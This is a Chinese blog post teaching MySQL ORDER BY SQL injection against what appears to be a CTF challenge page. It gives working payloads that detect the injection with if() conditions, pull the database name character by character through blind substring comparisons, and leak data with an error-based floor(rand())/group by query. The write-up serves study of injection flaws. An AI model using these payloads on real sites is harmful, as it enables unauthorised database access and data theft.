最新消息:

mysql order by注入技巧及其他注入(Insert/Update/Delete/Group by)

MySQL注入 admin 8156浏览 0评论

今天遇到了一个order by的mysql盲注,发现order by注入和普通的select注入有很多不一样的地方,下面以该注入点为实例讲解一下order by的注入技巧。

ps:order by注入也是分报错注入和盲注的,由于该注入点是盲注,所以首先讲解一下order by盲注,后面讲解一下order by报错注入的利用代码。

一、order by盲注

1、注入点

challenge-4.php?orderby=id 
challenge-4.php?orderby=domain

QQ截图20150104210844

QQ截图20150104210903

通过上面页面可以看到结果根据orderby参数的不同发生了顺序变化,所以orderby参数点可能存在order by注入的可能。

2、注入点确认

确认orderby参数是否存在order by类型的注入,不能使用普通的select注入点使用的and 1=1或’ and ‘1’=’1语句进行注入判断。判断方法是在后面加上asc或desc来判断,如果asc和desc返回的页面内容的顺序不一样,那么可以初步判断该参数是order by使用的参数,只有order by语句使用的参数才可能会存在order by注入。

(1)判断参数是否被order by使用

ctf/challenge-4.php?orderby=id%0Aasc
ctf/challenge-4.php?orderby=id%0Adesc

QQ截图20150104215424 QQ截图20150104215442

返回页面内容顺序不同的话,那么可以判断该参数是被order by语句利用了的。

ps:因为查询语句中即使在order by中使用了该参数作为排序,但有可能asc或desc已经内嵌在查询语句中,因此通过在参数后添加asc或desc来判断参数是否被order by使用是存在误判的,因此在实际使用过程可以直接使用(2)进行order by注入判断。

(2)判断是否存在order by注入

/ctf/challenge-4.php?orderby=if(1<2,id,domain)
/ctf/challenge-4.php?orderby=if(1>2,id,domain)

QQ截图20150104220405

或者

/ctf/challenge-4.php?orderby=null,if(1<2,id,domain)
/ctf/challenge-4.php?orderby=null,if(1>2,id,domain)

QQ截图20150104220835 QQ截图20150104220851

3、获取数据

上面注入点判断存在order by注入后就可以通过该注入点获取数据了,因为该注入点是盲注类型,所以只能通过substring()结合burp来进行数据获取。

payload:

ctf/challenge-4.php?orderby=null,(if(ord(substring(database(),1,1))=119,domain,id))

QQ截图20150104222456

二、order by报错注入

order by报错注入的话比order by盲注要简单些,因为可以根据错误信息来获取信息,普通的select报错注入都可以使用。

payload:

http://localhost/Example/sqli/orderby.php?id=id,(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+

 

参考资料:

1、新浪某分站SQL注入漏洞(order by注射技巧)

2、Finecms一处代码引发多处SQL注入(Order by注入技巧)

3、Mysql 下 Insert、Update、Delete、Order By、Group By注入

 

Insert、Update、Delete、Order By、Group By注入的常见利用方法可以查看:Mysql 下 Insert、Update、Delete、Order By、Group By注入。

转载请注明:jinglingshu的博客 » mysql order by注入技巧及其他注入(Insert/Update/Delete/Group by)

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址